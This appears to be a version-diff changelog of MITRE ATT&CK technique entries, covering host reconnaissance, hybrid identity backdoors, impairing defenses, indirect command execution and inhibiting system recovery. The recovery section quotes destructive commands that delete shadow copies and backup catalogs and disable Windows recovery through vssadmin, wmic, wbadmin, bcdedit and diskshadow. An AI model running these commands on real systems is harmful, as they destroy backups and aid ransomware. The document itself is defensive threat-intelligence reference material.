Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about hosts may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)). | Adversaries may gather information about the victim's hosts that can be used during targeting. Information about hosts may include a variety of details, including administrative data (ex: name, assigned IP, functionality, etc.) as well as specifics regarding its configuration (ex: operating system, language, etc.).
Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about hosts may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).
Adversaries may also gather victim host information via User-Agent HTTP headers, which are sent to a server to identify the application, operating system, vendor, and/or version of the requesting user agent. This can be used to inform the adversary’s follow-on action. For example, adversaries may check user agents for the requesting operating system, then only serve malware for target operating systems while ignoring others.(Citation: TrellixQakbot) |
| x_mitre_version | 1.1 | 1.2 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'TrellixQakbot', 'description': 'Pham Duy Phuc, John Fokker J.E., Alejandro Houspanossian and Mathanraj Thangaraju. (2023, March 7). Qakbot Evolves to OneNote Malware Distribution. Retrieved August 1, 2024.', 'url': 'https://www.trellix.com/blogs/research/qakbot-evolves-to-onenote-malware-distribution/'} |
[T1552.006] Unsecured Credentials: Group Policy Preferences
Current version: 1.1
Version changed from: 1.0 → 1.1
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 3.2.0 |
| x_mitre_deprecated | | False |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_permissions_required | ['User'] | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-06-17 14:25:38.082000+00:00 | 2024-08-15 13:21:22.734000+00:00 |
| x_mitre_version | 1.0 | 1.1 |
[T1564] Hide Artifacts
Current version: 1.3
Version changed from: 1.2 → 1.3
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-03-29 17:45:48.126000+00:00 | 2024-10-15 15:58:49.815000+00:00 |
| x_mitre_version | 1.2 | 1.3 |
| x_mitre_platforms[3] | Office 365 | Office Suite |
[T1556.007] Modify Authentication Process: Hybrid Identity
Current version: 1.1
Version changed from: 1.0 → 1.1
|
|
|---|
| t | Adversaries may patch, modify, or otherwise backdoor cloud a | t | Adversaries may patch, modify, or otherwise backdoor cloud a |
| uthentication processes that are tied to on-premises user id | | uthentication processes that are tied to on-premises user id |
| entities in order to bypass typical authentication mechanism | | entities in order to bypass typical authentication mechanism |
| s, access credentials, and enable persistent access to accou | | s, access credentials, and enable persistent access to accou |
| nts. Many organizations maintain hybrid user and device i | | nts. Many organizations maintain hybrid user and device i |
| dentities that are shared between on-premises and cloud-base | | dentities that are shared between on-premises and cloud-base |
| d environments. These can be maintained in a number of ways. | | d environments. These can be maintained in a number of ways. |
| For example, Azure AD includes three options for synchroniz | | For example, Microsoft Entra ID includes three options for |
| ing identities between Active Directory and Azure AD(Citatio | | synchronizing identities between Active Directory and Entra |
| n: Azure AD Hybrid Identity): * Password Hash Synchronizati | | ID(Citation: Azure AD Hybrid Identity): * Password Hash Syn |
| on (PHS), in which a privileged on-premises account synchron | | chronization (PHS), in which a privileged on-premises accoun |
| izes user password hashes between Active Directory and Azure | | t synchronizes user password hashes between Active Directory |
| AD, allowing authentication to Azure AD to take place entir | | and Entra ID, allowing authentication to Entra ID to take p |
| ely in the cloud * Pass Through Authentication (PTA), in wh | | lace entirely in the cloud * Pass Through Authentication (P |
| ich Azure AD authentication attempts are forwarded to an on- | | TA), in which Entra ID authentication attempts are forwarded |
| premises PTA agent, which validates the credentials against | | to an on-premises PTA agent, which validates the credential |
| Active Directory * Active Directory Federation Services (AD | | s against Active Directory * Active Directory Federation Se |
| FS), in which a trust relationship is established between A | | rvices (AD FS), in which a trust relationship is established |
| ctive Directory and Azure AD AD FS can also be used with o | | between Active Directory and Entra ID AD FS can also be u |
| ther SaaS and cloud platforms such as AWS and GCP, which wil | | sed with other SaaS and cloud platforms such as AWS and GCP, |
| l hand off the authentication process to AD FS and receive a | | which will hand off the authentication process to AD FS and |
| token containing the hybrid users’ identity and privileges. | | receive a token containing the hybrid users’ identity and p |
| By modifying authentication processes tied to hybrid iden | | rivileges. By modifying authentication processes tied to h |
| tities, an adversary may be able to establish persistent pri | | ybrid identities, an adversary may be able to establish pers |
| vileged access to cloud resources. For example, adversaries | | istent privileged access to cloud resources. For example, ad |
| who compromise an on-premises server running a PTA agent may | | versaries who compromise an on-premises server running a PTA |
| inject a malicious DLL into the `AzureADConnectAuthenticati | | agent may inject a malicious DLL into the `AzureADConnectAu |
| onAgentService` process that authorizes all attempts to auth | | thenticationAgentService` process that authorizes all attemp |
| enticate to Azure AD, as well as records user credentials.(C | | ts to authenticate to Entra ID, as well as records user cred |
| itation: Azure AD Connect for Read Teamers)(Citation: AADInt | | entials.(Citation: Azure AD Connect for Read Teamers)(Citati |
| ernals Azure AD On-Prem to Cloud) In environments using AD F | | on: AADInternals Azure AD On-Prem to Cloud) In environments |
| S, an adversary may edit the `Microsoft.IdentityServer.Servi | | using AD FS, an adversary may edit the `Microsoft.IdentitySe |
| cehost` configuration file to load a malicious DLL that gene | | rver.Servicehost` configuration file to load a malicious DLL |
| rates authentication tokens for any user with any set of cla | | that generates authentication tokens for any user with any |
| ims, thereby bypassing multi-factor authentication and defin | | set of claims, thereby bypassing multi-factor authentication |
| ed AD FS policies.(Citation: MagicWeb) In some cases, adver | | and defined AD FS policies.(Citation: MagicWeb) In some ca |
| saries may be able to modify the hybrid identity authenticat | | ses, adversaries may be able to modify the hybrid identity a |
| ion process from the cloud. For example, adversaries who com | | uthentication process from the cloud. For example, adversari |
| promise a Global Administrator account in an Azure AD tenant | | es who compromise a Global Administrator account in an Entra |
| may be able to register a new PTA agent via the web console | | ID tenant may be able to register a new PTA agent via the w |
| , similarly allowing them to harvest credentials and log int | | eb console, similarly allowing them to harvest credentials a |
| o the Azure AD environment as any user.(Citation: Mandiant A | | nd log into the Entra ID environment as any user.(Citation: |
| zure AD Backdoors) | | Mandiant Azure AD Backdoors) |
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2022-10-21 16:09:38.202000+00:00 | 2024-10-14 22:11:30.271000+00:00 |
| description | Adversaries may patch, modify, or otherwise backdoor cloud authentication processes that are tied to on-premises user identities in order to bypass typical authentication mechanisms, access credentials, and enable persistent access to accounts.
Many organizations maintain hybrid user and device identities that are shared between on-premises and cloud-based environments. These can be maintained in a number of ways. For example, Azure AD includes three options for synchronizing identities between Active Directory and Azure AD(Citation: Azure AD Hybrid Identity):
* Password Hash Synchronization (PHS), in which a privileged on-premises account synchronizes user password hashes between Active Directory and Azure AD, allowing authentication to Azure AD to take place entirely in the cloud
* Pass Through Authentication (PTA), in which Azure AD authentication attempts are forwarded to an on-premises PTA agent, which validates the credentials against Active Directory
* Active Directory Federation Services (AD FS), in which a trust relationship is established between Active Directory and Azure AD
AD FS can also be used with other SaaS and cloud platforms such as AWS and GCP, which will hand off the authentication process to AD FS and receive a token containing the hybrid users’ identity and privileges.
By modifying authentication processes tied to hybrid identities, an adversary may be able to establish persistent privileged access to cloud resources. For example, adversaries who compromise an on-premises server running a PTA agent may inject a malicious DLL into the `AzureADConnectAuthenticationAgentService` process that authorizes all attempts to authenticate to Azure AD, as well as records user credentials.(Citation: Azure AD Connect for Read Teamers)(Citation: AADInternals Azure AD On-Prem to Cloud) In environments using AD FS, an adversary may edit the `Microsoft.IdentityServer.Servicehost` configuration file to load a malicious DLL that generates authentication tokens for any user with any set of claims, thereby bypassing multi-factor authentication and defined AD FS policies.(Citation: MagicWeb)
In some cases, adversaries may be able to modify the hybrid identity authentication process from the cloud. For example, adversaries who compromise a Global Administrator account in an Azure AD tenant may be able to register a new PTA agent via the web console, similarly allowing them to harvest credentials and log into the Azure AD environment as any user.(Citation: Mandiant Azure AD Backdoors) | Adversaries may patch, modify, or otherwise backdoor cloud authentication processes that are tied to on-premises user identities in order to bypass typical authentication mechanisms, access credentials, and enable persistent access to accounts.
Many organizations maintain hybrid user and device identities that are shared between on-premises and cloud-based environments. These can be maintained in a number of ways. For example, Microsoft Entra ID includes three options for synchronizing identities between Active Directory and Entra ID(Citation: Azure AD Hybrid Identity):
* Password Hash Synchronization (PHS), in which a privileged on-premises account synchronizes user password hashes between Active Directory and Entra ID, allowing authentication to Entra ID to take place entirely in the cloud
* Pass Through Authentication (PTA), in which Entra ID authentication attempts are forwarded to an on-premises PTA agent, which validates the credentials against Active Directory
* Active Directory Federation Services (AD FS), in which a trust relationship is established between Active Directory and Entra ID
AD FS can also be used with other SaaS and cloud platforms such as AWS and GCP, which will hand off the authentication process to AD FS and receive a token containing the hybrid users’ identity and privileges.
By modifying authentication processes tied to hybrid identities, an adversary may be able to establish persistent privileged access to cloud resources. For example, adversaries who compromise an on-premises server running a PTA agent may inject a malicious DLL into the `AzureADConnectAuthenticationAgentService` process that authorizes all attempts to authenticate to Entra ID, as well as records user credentials.(Citation: Azure AD Connect for Read Teamers)(Citation: AADInternals Azure AD On-Prem to Cloud) In environments using AD FS, an adversary may edit the `Microsoft.IdentityServer.Servicehost` configuration file to load a malicious DLL that generates authentication tokens for any user with any set of claims, thereby bypassing multi-factor authentication and defined AD FS policies.(Citation: MagicWeb)
In some cases, adversaries may be able to modify the hybrid identity authentication process from the cloud. For example, adversaries who compromise a Global Administrator account in an Entra ID tenant may be able to register a new PTA agent via the web console, similarly allowing them to harvest credentials and log into the Entra ID environment as any user.(Citation: Mandiant Azure AD Backdoors) |
| x_mitre_attack_spec_version | 2.1.0 | 3.2.0 |
| x_mitre_version | 1.0 | 1.1 |
| x_mitre_platforms[4] | Office 365 | Identity Provider |
| x_mitre_platforms[3] | Google Workspace | Office Suite |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | Azure AD | |
[T1562] Impair Defenses
Current version: 1.6
Version changed from: 1.5 → 1.6
|
|
|---|
| t | Adversaries may maliciously modify components of a victim en | t | Adversaries may maliciously modify components of a victim en |
| vironment in order to hinder or disable defensive mechanisms | | vironment in order to hinder or disable defensive mechanisms |
| . This not only involves impairing preventative defenses, su | | . This not only involves impairing preventative defenses, su |
| ch as firewalls and anti-virus, but also detection capabilit | | ch as firewalls and anti-virus, but also detection capabilit |
| ies that defenders can use to audit activity and identify ma | | ies that defenders can use to audit activity and identify ma |
| licious behavior. This may also span both native defenses as | | licious behavior. This may also span both native defenses as |
| well as supplemental capabilities installed by users and ad | | well as supplemental capabilities installed by users and ad |
| ministrators. Adversaries may also impair routine operation | | ministrators. Adversaries may also impair routine operation |
| s that contribute to defensive hygiene, such as blocking use | | s that contribute to defensive hygiene, such as blocking use |
| rs from logging out of a computer or stopping it from being | | rs from logging out, preventing a system from shutting down, |
| shut down. These restrictions can further enable malicious o | | or disabling or modifying the update process. Adversaries c |
| perations as well as the continued propagation of incidents. | | ould also target event aggregation and analysis mechanisms, |
| (Citation: Emotet shutdown) Adversaries could also target e | | or otherwise disrupt these procedures by altering other syst |
| vent aggregation and analysis mechanisms, or otherwise disru | | em components. These restrictions can further enable malicio |
| pt these procedures by altering other system components. | | us operations as well as the continued propagation of incide |
| | | nts.(Citation: Google Cloud Mandiant UNC3886 2024)(Citation: |
| | | Emotet shutdown) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_contributors | | ['Jamie Williams (U ω U), PANW Unit 42', 'Liran Ravich, CardinalOps'] |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2023-10-20 16:43:53.391000+00:00 | 2024-10-14 22:11:30.271000+00:00 |
| description | Adversaries may maliciously modify components of a victim environment in order to hinder or disable defensive mechanisms. This not only involves impairing preventative defenses, such as firewalls and anti-virus, but also detection capabilities that defenders can use to audit activity and identify malicious behavior. This may also span both native defenses as well as supplemental capabilities installed by users and administrators.
Adversaries may also impair routine operations that contribute to defensive hygiene, such as blocking users from logging out of a computer or stopping it from being shut down. These restrictions can further enable malicious operations as well as the continued propagation of incidents.(Citation: Emotet shutdown)
Adversaries could also target event aggregation and analysis mechanisms, or otherwise disrupt these procedures by altering other system components. | Adversaries may maliciously modify components of a victim environment in order to hinder or disable defensive mechanisms. This not only involves impairing preventative defenses, such as firewalls and anti-virus, but also detection capabilities that defenders can use to audit activity and identify malicious behavior. This may also span both native defenses as well as supplemental capabilities installed by users and administrators.
Adversaries may also impair routine operations that contribute to defensive hygiene, such as blocking users from logging out, preventing a system from shutting down, or disabling or modifying the update process. Adversaries could also target event aggregation and analysis mechanisms, or otherwise disrupt these procedures by altering other system components. These restrictions can further enable malicious operations as well as the continued propagation of incidents.(Citation: Google Cloud Mandiant UNC3886 2024)(Citation: Emotet shutdown)
|
| x_mitre_version | 1.5 | 1.6 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'Google Cloud Mandiant UNC3886 2024', 'description': ' Punsaen Boonyakarn, Shawn Chew, Logeswaran Nadarajan, Mathew Potaczek, Jakub Jozwiak, and Alex Marvi. (2024, June 18). Cloaked and Covert: Uncovering UNC3886 Espionage Operations. Retrieved September 24, 2024.', 'url': 'https://cloud.google.com/blog/topics/threat-intelligence/uncovering-unc3886-espionage-operations'} |
| x_mitre_platforms | | Identity Provider |
| x_mitre_platforms | | Office Suite |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | Office 365 | |
[T1656] Impersonation
Current version: 1.1
Version changed from: 1.0 → 1.1
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2023-09-30 19:45:05.886000+00:00 | 2024-10-15 15:59:06.382000+00:00 |
| x_mitre_version | 1.0 | 1.1 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | | Office Suite |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | Office 365 | |
| x_mitre_platforms | Google Workspace | |
[T1070] Indicator Removal
Current version: 2.2
Version changed from: 2.1 → 2.2
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2023-04-11 22:27:54.003000+00:00 | 2024-10-15 15:59:22.125000+00:00 |
| x_mitre_attack_spec_version | 3.1.0 | 3.2.0 |
| x_mitre_version | 2.1 | 2.2 |
| x_mitre_platforms[5] | Office 365 | Office Suite |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | Google Workspace | |
[T1202] Indirect Command Execution
Current version: 1.2
Version changed from: 1.1 → 1.2
|
|
|---|
| t | Adversaries may abuse utilities that allow for command execu | t | Adversaries may abuse utilities that allow for command execu |
| tion to bypass security restrictions that limit the use of c | | tion to bypass security restrictions that limit the use of c |
| ommand-line interpreters. Various Windows utilities may be u | | ommand-line interpreters. Various Windows utilities may be u |
| sed to execute commands, possibly without invoking [cmd](htt | | sed to execute commands, possibly without invoking [cmd](htt |
| ps://attack.mitre.org/software/S0106). For example, [Forfile | | ps://attack.mitre.org/software/S0106). For example, [Forfile |
| s](https://attack.mitre.org/software/S0193), the Program Com | | s](https://attack.mitre.org/software/S0193), the Program Com |
| patibility Assistant (pcalua.exe), components of the Windows | | patibility Assistant (pcalua.exe), components of the Windows |
| Subsystem for Linux (WSL), as well as other utilities may i | | Subsystem for Linux (WSL), Scriptrunner.exe, as well as oth |
| nvoke the execution of programs and commands from a [Command | | er utilities may invoke the execution of programs and comman |
| and Scripting Interpreter](https://attack.mitre.org/techniq | | ds from a [Command and Scripting Interpreter](https://attack |
| ues/T1059), Run window, or via scripts. (Citation: VectorSec | | .mitre.org/techniques/T1059), Run window, or via scripts.(Ci |
| ForFiles Aug 2017) (Citation: Evi1cg Forfiles Nov 2017) Ad | | tation: VectorSec ForFiles Aug 2017)(Citation: Evi1cg Forfil |
| versaries may abuse these features for [Defense Evasion](htt | | es Nov 2017)(Citation: Secure Team - Scriptrunner.exe)(Citat |
| ps://attack.mitre.org/tactics/TA0005), specifically to perfo | | ion: SS64)(Citation: Bleeping Computer - Scriptrunner.exe) |
| rm arbitrary execution while subverting detections and/or mi | | Adversaries may abuse these features for [Defense Evasion](h |
| tigation controls (such as Group Policy) that limit/prevent | | ttps://attack.mitre.org/tactics/TA0005), specifically to per |
| the usage of [cmd](https://attack.mitre.org/software/S0106) | | form arbitrary execution while subverting detections and/or |
| or file extensions more commonly associated with malicious p | | mitigation controls (such as Group Policy) that limit/preven |
| ayloads. | | t the usage of [cmd](https://attack.mitre.org/software/S0106 |
| | | ) or file extensions more commonly associated with malicious |
| | | payloads. |
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2022-05-05 05:06:38.938000+00:00 | 2024-10-03 14:47:17.154000+00:00 |
| description | Adversaries may abuse utilities that allow for command execution to bypass security restrictions that limit the use of command-line interpreters. Various Windows utilities may be used to execute commands, possibly without invoking [cmd](https://attack.mitre.org/software/S0106). For example, [Forfiles](https://attack.mitre.org/software/S0193), the Program Compatibility Assistant (pcalua.exe), components of the Windows Subsystem for Linux (WSL), as well as other utilities may invoke the execution of programs and commands from a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), Run window, or via scripts. (Citation: VectorSec ForFiles Aug 2017) (Citation: Evi1cg Forfiles Nov 2017)
Adversaries may abuse these features for [Defense Evasion](https://attack.mitre.org/tactics/TA0005), specifically to perform arbitrary execution while subverting detections and/or mitigation controls (such as Group Policy) that limit/prevent the usage of [cmd](https://attack.mitre.org/software/S0106) or file extensions more commonly associated with malicious payloads. | Adversaries may abuse utilities that allow for command execution to bypass security restrictions that limit the use of command-line interpreters. Various Windows utilities may be used to execute commands, possibly without invoking [cmd](https://attack.mitre.org/software/S0106). For example, [Forfiles](https://attack.mitre.org/software/S0193), the Program Compatibility Assistant (pcalua.exe), components of the Windows Subsystem for Linux (WSL), Scriptrunner.exe, as well as other utilities may invoke the execution of programs and commands from a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), Run window, or via scripts.(Citation: VectorSec ForFiles Aug 2017)(Citation: Evi1cg Forfiles Nov 2017)(Citation: Secure Team - Scriptrunner.exe)(Citation: SS64)(Citation: Bleeping Computer - Scriptrunner.exe)
Adversaries may abuse these features for [Defense Evasion](https://attack.mitre.org/tactics/TA0005), specifically to perform arbitrary execution while subverting detections and/or mitigation controls (such as Group Policy) that limit/prevent the usage of [cmd](https://attack.mitre.org/software/S0106) or file extensions more commonly associated with malicious payloads. |
| external_references[1]['description'] | Evi1cg. (2017, November 26). block cmd.exe ? try this :. Retrieved January 22, 2018. | Evi1cg. (2017, November 26). block cmd.exe ? try this :. Retrieved September 12, 2024. |
| external_references[1]['url'] | https://twitter.com/Evi1cg/status/935027922397573120 | https://x.com/Evi1cg/status/935027922397573120 |
| external_references[3]['description'] | vector_sec. (2017, August 11). Defenders watching launches of cmd? What about forfiles?. Retrieved January 22, 2018. | vector_sec. (2017, August 11). Defenders watching launches of cmd? What about forfiles?. Retrieved September 12, 2024. |
| external_references[3]['url'] | https://twitter.com/vector_sec/status/896049052642533376 | https://x.com/vector_sec/status/896049052642533376 |
| x_mitre_attack_spec_version | 2.1.0 | 3.2.0 |
| x_mitre_version | 1.1 | 1.2 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'Bleeping Computer - Scriptrunner.exe', 'description': 'Bill Toulas. (2023, January 4). Hackers abuse Windows error reporting tool to deploy malware. Retrieved July 8, 2024.', 'url': 'https://www.bleepingcomputer.com/news/security/hackers-abuse-windows-error-reporting-tool-to-deploy-malware/'} |
| external_references | | {'source_name': 'Secure Team - Scriptrunner.exe', 'description': 'Secure Team - Information Assurance. (2023, January 8). Windows Error Reporting Tool Abused to Load Malware. Retrieved July 8, 2024.', 'url': 'https://secureteam.co.uk/2023/01/08/windows-error-reporting-tool-abused-to-load-malware/'} |
| external_references | | {'source_name': 'SS64', 'description': 'SS64. (n.d.). ScriptRunner.exe. Retrieved July 8, 2024.', 'url': 'https://ss64.com/nt/scriptrunner.html'} |
| x_mitre_contributors | | Liran Ravich, CardinalOps |
[T1490] Inhibit System Recovery
Current version: 1.5
Version changed from: 1.4 → 1.5
|
|
|---|
| t | Adversaries may delete or remove built-in data and turn off | t | Adversaries may delete or remove built-in data and turn off |
| services designed to aid in the recovery of a corrupted syst | | services designed to aid in the recovery of a corrupted syst |
| em to prevent recovery.(Citation: Talos Olympic Destroyer 20 | | em to prevent recovery.(Citation: Talos Olympic Destroyer 20 |
| 18)(Citation: FireEye WannaCry 2017) This may deny access to | | 18)(Citation: FireEye WannaCry 2017) This may deny access to |
| available backups and recovery options. Operating systems | | available backups and recovery options. Operating systems |
| may contain features that can help fix corrupted systems, su | | may contain features that can help fix corrupted systems, su |
| ch as a backup catalog, volume shadow copies, and automatic | | ch as a backup catalog, volume shadow copies, and automatic |
| repair features. Adversaries may disable or delete system re | | repair features. Adversaries may disable or delete system re |
| covery features to augment the effects of [Data Destruction] | | covery features to augment the effects of [Data Destruction] |
| (https://attack.mitre.org/techniques/T1485) and [Data Encryp | | (https://attack.mitre.org/techniques/T1485) and [Data Encryp |
| ted for Impact](https://attack.mitre.org/techniques/T1486).( | | ted for Impact](https://attack.mitre.org/techniques/T1486).( |
| Citation: Talos Olympic Destroyer 2018)(Citation: FireEye Wa | | Citation: Talos Olympic Destroyer 2018)(Citation: FireEye Wa |
| nnaCry 2017) Furthermore, adversaries may disable recovery n | | nnaCry 2017) Furthermore, adversaries may disable recovery n |
| otifications, then corrupt backups.(Citation: disable_notif_ | | otifications, then corrupt backups.(Citation: disable_notif_ |
| synology_ransom) A number of native Windows utilities have | | synology_ransom) A number of native Windows utilities have |
| been used by adversaries to disable or delete system recover | | been used by adversaries to disable or delete system recover |
| y features: * <code>vssadmin.exe</code> can be used to dele | | y features: * <code>vssadmin.exe</code> can be used to dele |
| te all volume shadow copies on a system - <code>vssadmin.exe | | te all volume shadow copies on a system - <code>vssadmin.exe |
| delete shadows /all /quiet</code> * [Windows Management Ins | | delete shadows /all /quiet</code> * [Windows Management Ins |
| trumentation](https://attack.mitre.org/techniques/T1047) can | | trumentation](https://attack.mitre.org/techniques/T1047) can |
| be used to delete volume shadow copies - <code>wmic shadowc | | be used to delete volume shadow copies - <code>wmic shadowc |
| opy delete</code> * <code>wbadmin.exe</code> can be used to | | opy delete</code> * <code>wbadmin.exe</code> can be used to |
| delete the Windows Backup Catalog - <code>wbadmin.exe delete | | delete the Windows Backup Catalog - <code>wbadmin.exe delete |
| catalog -quiet</code> * <code>bcdedit.exe</code> can be use | | catalog -quiet</code> * <code>bcdedit.exe</code> can be use |
| d to disable automatic Windows recovery features by modifyin | | d to disable automatic Windows recovery features by modifyin |
| g boot configuration data - <code>bcdedit.exe /set {default} | | g boot configuration data - <code>bcdedit.exe /set {default} |
| bootstatuspolicy ignoreallfailures & bcdedit /set {default} | | bootstatuspolicy ignoreallfailures & bcdedit /set {default} |
| recoveryenabled no</code> * <code>REAgentC.exe</code> can b | | recoveryenabled no</code> * <code>REAgentC.exe</code> can b |
| e used to disable Windows Recovery Environment (WinRE) repai | | e used to disable Windows Recovery Environment (WinRE) repai |
| r/recovery options of an infected system * <code>diskshadow. | | r/recovery options of an infected system * <code>diskshadow. |
| exe</code> can be used to delete all volume shadow copies on | | exe</code> can be used to delete all volume shadow copies on |
| a system - <code>diskshadow delete shadows all</code> (Cita | | a system - <code>diskshadow delete shadows all</code> (Cita |
| tion: Diskshadow) (Citation: Crytox Ransomware) On network | | tion: Diskshadow) (Citation: Crytox Ransomware) On network |
| devices, adversaries may leverage [Disk Wipe](https://attack | | devices, adversaries may leverage [Disk Wipe](https://attack |
| .mitre.org/techniques/T1561) to delete backup firmware image | | .mitre.org/techniques/T1561) to delete backup firmware image |
| s and reformat the file system, then [System Shutdown/Reboot | | s and reformat the file system, then [System Shutdown/Reboot |
| ](https://attack.mitre.org/techniques/T1529) to reload the d | | ](https://attack.mitre.org/techniques/T1529) to reload the d |
| evice. Together this activity may leave network devices comp | | evice. Together this activity may leave network devices comp |
| letely inoperable and inhibit recovery operations. Adversar | | letely inoperable and inhibit recovery operations. Adversar |
| ies may also delete “online” backups that are connected to t | | ies may also delete “online” backups that are connected to t |
| heir network – whether via network storage media or through | | heir network – whether via network storage media or through |
| folders that sync to cloud services.(Citation: ZDNet Ransomw | | folders that sync to cloud services.(Citation: ZDNet Ransomw |
| are Backups 2020) In cloud environments, adversaries may dis | | are Backups 2020) In cloud environments, adversaries may dis |
| able versioning and backup policies and delete snapshots, ma | | able versioning and backup policies and delete snapshots, da |
| chine images, and prior versions of objects designed to be u | | tabase backups, machine images, and prior versions of object |
| sed in disaster recovery scenarios.(Citation: Dark Reading C | | s designed to be used in disaster recovery scenarios.(Citati |
| ode Spaces Cyber Attack)(Citation: Rhino Security Labs AWS S | | on: Dark Reading Code Spaces Cyber Attack)(Citation: Rhino S |
| 3 Ransomware) | | ecurity Labs AWS S3 Ransomware) |
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-04-12 02:30:08.379000+00:00 | 2024-09-24 13:27:31.881000+00:00 |
| description | Adversaries may delete or remove built-in data and turn off services designed to aid in the recovery of a corrupted system to prevent recovery.(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017) This may deny access to available backups and recovery options.
Operating systems may contain features that can help fix corrupted systems, such as a backup catalog, volume shadow copies, and automatic repair features. Adversaries may disable or delete system recovery features to augment the effects of [Data Destruction](https://attack.mitre.org/techniques/T1485) and [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486).(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017) Furthermore, adversaries may disable recovery notifications, then corrupt backups.(Citation: disable_notif_synology_ransom)
A number of native Windows utilities have been used by adversaries to disable or delete system recovery features:
* vssadmin.exe can be used to delete all volume shadow copies on a system - vssadmin.exe delete shadows /all /quiet
* [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) can be used to delete volume shadow copies - wmic shadowcopy delete
* wbadmin.exe can be used to delete the Windows Backup Catalog - wbadmin.exe delete catalog -quiet
* bcdedit.exe can be used to disable automatic Windows recovery features by modifying boot configuration data - bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no
* REAgentC.exe can be used to disable Windows Recovery Environment (WinRE) repair/recovery options of an infected system
* diskshadow.exe can be used to delete all volume shadow copies on a system - diskshadow delete shadows all (Citation: Diskshadow) (Citation: Crytox Ransomware)
On network devices, adversaries may leverage [Disk Wipe](https://attack.mitre.org/techniques/T1561) to delete backup firmware images and reformat the file system, then [System Shutdown/Reboot](https://attack.mitre.org/techniques/T1529) to reload the device. Together this activity may leave network devices completely inoperable and inhibit recovery operations.
Adversaries may also delete “online” backups that are connected to their network – whether via network storage media or through folders that sync to cloud services.(Citation: ZDNet Ransomware Backups 2020) In cloud environments, adversaries may disable versioning and backup policies and delete snapshots, machine images, and prior versions of objects designed to be used in disaster recovery scenarios.(Citation: Dark Reading Code Spaces Cyber Attack)(Citation: Rhino Security Labs AWS S3 Ransomware) | Adversaries may delete or remove built-in data and turn off services designed to aid in the recovery of a corrupted system to prevent recovery.(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017) This may deny access to available backups and recovery options.
Operating systems may contain features that can help fix corrupted systems, such as a backup catalog, volume shadow copies, and automatic repair features. Adversaries may disable or delete system recovery features to augment the effects of [Data Destruction](https://attack.mitre.org/techniques/T1485) and [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486).(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017) Furthermore, adversaries may disable recovery notifications, then corrupt backups.(Citation: disable_notif_synology_ransom)
A number of native Windows utilities have been used by adversaries to disable or delete system recovery features:
* vssadmin.exe can be used to delete all volume shadow copies on a system - vssadmin.exe delete shadows /all /quiet
* [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) can be used to delete volume shadow copies - wmic shadowcopy delete
* wbadmin.exe can be used to delete the Windows Backup Catalog - wbadmin.exe delete catalog -quiet
* bcdedit.exe can be used to disable automatic Windows recovery features by modifying boot configuration data - bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no
* REAgentC.exe can be used to disable Windows Recovery Environment (WinRE) repair/recovery options of an infected system
